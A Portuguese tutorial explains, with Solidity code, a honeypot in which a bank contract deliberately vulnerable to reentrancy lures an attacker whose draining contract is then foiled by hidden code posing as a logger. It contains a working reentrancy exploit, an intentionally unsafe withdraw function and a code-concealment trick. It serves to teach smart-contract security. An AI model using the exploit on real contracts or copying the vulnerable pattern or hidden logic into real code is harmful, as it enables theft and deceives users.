Nesse artigo iremos aprender a como desenvolver um contrato inteligente para atrair e pegar hackers e contratos maliciosos através da técnica honeypot
(pote de mel).
Vulnerabilidade
Combinando duas explorações, reentrada
e ocultação de código malicioso
, podemos construir um contrato que irá pegar usuários maliciosos.
Como funciona:
Bank é um contrato que chama o Logger para registrar eventos. Bank.withdraw()
é vulnerável ao ataque de reentrada.
Então, um hacker tenta drenar o Ether do banco. Mas, na verdade, a exploração de reentrada é uma isca para hackers.
Ao implantar o Banco com HoneyPot
no lugar do Logger, este contrato se torna uma armadilha para hackers.
Vamos ver como.
- Alice implanta o HoneyPot
- Alice implanta o Banco com o endereço do HoneyPot
- Alice deposita 1 Ether no banco.
- Eve descobre o exploit de reentrada no
Bank.withdraw
e decide hackeá-lo. - Eve implanta Ataque com o endereço do Banco
- Eve chama
Attack.attack()
com 1 Ether mas a transação falha.
O que aconteceu?
Eve chama Attack.attack()
e começa a retirar Ether do banco.
Quando o último Bank.withdraw()
está prestes a ser concluído, ele chama logger.log()
.
Logger.log()
chama HoneyPot.log()
e reverte todas as alterações realizadas e então a transação falha.
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract Bank {mapping(address => uint) public balances;Logger logger;constructor(Logger _logger) {logger = Logger(_logger);}function deposit() public payable {balances[msg.sender] += msg.value;logger.log(msg.sender, msg.value, "Depósito");}function withdraw(uint _amount) public {require(_amount <= balances[msg.sender], "Fundos insuficientes");(bool sent, ) = msg.sender.call{value: _amount}("");require(sent, "Falha ao enviar Ether");balances[msg.sender] -= _amount;logger.log(msg.sender, _amount, "Saque");}}contract Logger {event Log(address caller, uint amount, string action);function log(address _caller,uint _amount,string memory _action) public {emit Log(_caller, _amount, _action);}}// Hacker tenta drenar os Ethers armazenados no Banco// através de um contrato que realiza operações de reentrada.contract Attack {Bank bank;constructor(Bank _bank) {bank = Bank(_bank);}fallback() external payable {if (address(bank).balance >= 1 ether) {bank.withdraw(1 ether);}}function attack() public payable {bank.deposit{value: 1 ether}();bank.withdraw(1 ether);}function getBalance() public view returns (uint) {return address(this).balance;}}// Digamos que este código esteja em um arquivo// separado para que outros não possam lê-lo.contract HoneyPot {function log(address _caller,uint _amount,string memory _action) public {if (equal(_action, "Saque")) {revert("Isso é uma armadilha");}}// Função para comparar strings usando keccak256function equal(string memory _a, string memory _b) public pure returns (bool) {return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));}}